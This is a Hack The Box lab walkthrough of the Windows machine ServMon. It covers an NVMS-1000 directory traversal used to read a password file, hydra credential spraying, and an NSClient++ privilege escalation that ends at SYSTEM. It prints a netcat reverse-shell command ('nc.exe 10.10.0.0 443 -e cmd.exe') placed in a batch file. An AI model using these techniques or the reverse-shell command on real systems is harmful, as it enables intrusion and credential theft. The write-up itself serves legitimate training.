009#:HTB - ServMon
We are back this time with a Windows machine. I have been doing mostly Linux boxes so I figured I would mix it up. I had actually started writing a walkthrough for Hack the Box’s Support room but that one thoroughly kicked my butt. Hopefully this one will be a bit smoother.
It looks like this server has a bunch of good stuff for us to explore like FTP, SMB, and HTTP. I started a gobuster scan that kept failing so I moved on to checking out FTP. We discovered two usernames that I took note of.
Exploring further we find each user folder has a file that we want to pull to our machine. Let’s see what these files have. In Confidential.txt we learn that Nadine put Nathan’s password in a file on his desktop and that they have a secure folder for storing things like passwords. Nathan’s file is a to do list that gives us some other interesting details.
Checking out the server in a web browser we are greeted with a NVMS portal. Nathan’s note said that he changed the password for NVMS, and attempting the default creds here proves that to be true. There was another port serving HTTP, port 8443. Trying to navigate to that fails though. Upon reviewing the nmap results I realized it’s because we need to use HTTPS. While the site loads, it is somewhat broken.
I tried this site from another browser and it was still really unstable. I’m not sure if that is intentional or not but I am going to move on to checking out the SMB shares for now. Nothing there without credentials. Looking over what I know so far I decided to check searchsploit for vulnerabilities in NVMS-1000.
We have a directory traversal attack we can attempt and in reviewing the POC there doesn’t appear to be anything special with it. I captured an HTTP request in BurpSuite and began messing around. Navigating to ../../../../../../../../../windows/win.ini did return data which shows the vulnerability exists here.
At this point I wasn’t sure what files that I should be trying to read so I started googling and going through the list of interesting files from PayloadsAllTheThings. This didn’t find me anything though and I was briefly feeling stuck when that Confidential.txt note popped back in my head.
The note said a passwords.txt file exists on Nathan’s desktop. Assuming his username is just “nathan”, I attempted to view this file with our directory traversal vulnerability and it was successful!
We are presented with seven passwords that I saved to a file named nathansPWs.txt. I tried using hydra to attack FTP, SMB, and SSH with the new password list we made but they all failed so I think these credentials may be for NVMS. I tried here but they didn’t work either.
I tried pulling up the site at 8443 again from earlier and this time it loaded a login page. It didn’t allow me to enter a username and none of the passwords worked though. At this point I decided to run hydra against FTP, SMB, and SSH again but as Nadine instead of Nathan. We now have Nadine’s password.
Let’s see what we can get into as Nadine now. I connected to FTP as Nadine but we couldn’t access anything new. Moving on to ssh we are able to get in and find the first flag on Nadine’s desktop.
Nadine isn’t a member of the local administrators group so I span up a python server and transferred a copy of winPEASx64.exe over to the box.
Going through WinPEAS results I looked into various findings and tried a few things that failed. I ended up getting stuck so I went over to the Guided questions for the room to try to get back on track. The questions says that there is an unusual third party app on the system so start making my way over to their Program Files folders to see what’s installed.
I had actually guessed wrong here a couple times. The answer was NSClient++ but I figured it was something else since we already discovered that. This site had given me trouble earlier but when I hit it from the Chromium Based Browser on Kali it was able to load a login screen more reliably. I tried the default credentials for NSClient++ but they failed. I was just exploring when I clicked the “Forgotten Password?” button which gave an curious popup.
This was interesting because it says it can display the current password by running a command. I am already connected via SSH as Nadine so I navigated over to C:\Program Files\NSClient++ and ran the top command from the popup window which gets us the NSClient credentials.
I tried logging in to the portal with this new password but that didn’t work. The next task asks about version and says the nscp app has a command to get it. Running /help against the command we can see how to find that the version number is 0.5.2.35. Searchsploit shows we have a privilege escalation path that I would like to try.
Reading over the contents of 46802.txt, step two says that we are supposed to log in to NSClient++ using the credentials we found. I tried this again but it still fails to authenticate. Trying from BurpSuites browser results in the page not even showing the login portal. Same with FireFox.
Checking the hint for Task 11 confirms we are using the right exploit, so this means I am probably just having stability issues with the room. I tried the other command we saw in the password reset prompt to allow me to change the password, but it said I didn’t have the rights. I got really stuck at this point.
I spent a while going over my findings. Reviewing nmap again, the winPEAS results, and the notes we found from the users. In the “Notes to do.txt” file we see that task two was “Lock down the NSClient Access” and that it is completed. This could mean they restricted access to the app externally, so lets set up a local port forward and see if that resolves our issue.
I was now able to navigate to my loopback address to access the CSClient++ portal. This was still really unstable though and I had to use the Chromium Based Browser that is preinstalled on Kali. Despite the struggles, we are now able to log in to the portal. This also means we can proceed with our privilege escalation exploit.
Following along with the exploit I wasn’t entirely clear on what I needed to do. I also continued to have issues with the server. At this point things really derailed for me with this room. The hint implied I was using the right exploit but no matter what I did I could not get it to work.
I spent hours messing with how I was entering in my script and scheduled task amid regularly rebooting and restaging. It’s a bummer because the privilege escalation would have been fun if the rooms stability hadn’t been such a challenge. Ultimately I was able to figure it out thanks to the help documentation from NSClient++ and just a lot of trial and error. But here is how it went…
We have step 1 and 2 completed already. I went ahead and made a file named evil.bat containing “c:\temp\nc.exe 10.10.0.0 443 -e cmd.exe”. I think this was one of my first mistakes though. The exploit says to include “@echo off” on line 1 of the script which I neglected. Later when I was digging through documentation I saw that same syntax in their scripts so I adjusted mine. I used Invoke-WebRequest to pull evil.bat and a copy of nc.exe from my machine to the target.
We now move over to the NSClient portal and go to Settings > External Scripts > Scripts > then click “+ Add New” before filling it out like I have below. Don’t forget to click Changes > Save Configuration as you make changes.
Now that we have our script in place and our command to call it, we will need to make a scheduled task for our command. For that we go to Settings > Scheduler > Schedules. This is one of the parts that really had me tripped up.
The exploit is telling us to make a new scheduled task with two values but it only lets you create one. It turns out you need to make it with the first value, then edit it to add the second one. So we will start by making our schedule similar to the picture below.
Another thing about this I had messed up was making the key and value similar to how I did for the script. But when we made the external script object we are creating a command named “payload” inside NSClient that we can now run in our scheduled task.
Now that our new task is made we can find it under the Schedules dropdown. If we click that we can now click “+ Add New” to add our second variable to the task which will be the interval.
With everything in place, we start our listener and this is where the headache really began. The exploit says we need to restart the computer and wait for the reverse shell. I tried to restart from SSH but I didn’t have the rights. I tried restarting the NSClient service but didn’t have the rights. Eventually I realized from the Control dropdown in the NSClient++ portal that I can “Reload”.
This seemed to restart the service because the site went down but SSH stayed connected. So I waited but nothing happened. I restarted the room and restaged but had the same issue. The third time I let it run for hours and nothing ever happened.
Going over the reviews for this room I noticed I am not the only one who had this problem. I saw a comment mention restarting the room and rushing to get privilege escalation as fast as possible may mitigate the issue. This was the time that it worked for me but I can’t say it was from that necessarily. Worth a try if you find yourself in the same boat though.
Popping over to our netcat listener we can see we are now NT AUTHORITY\SYSTEM and we have our final flag.
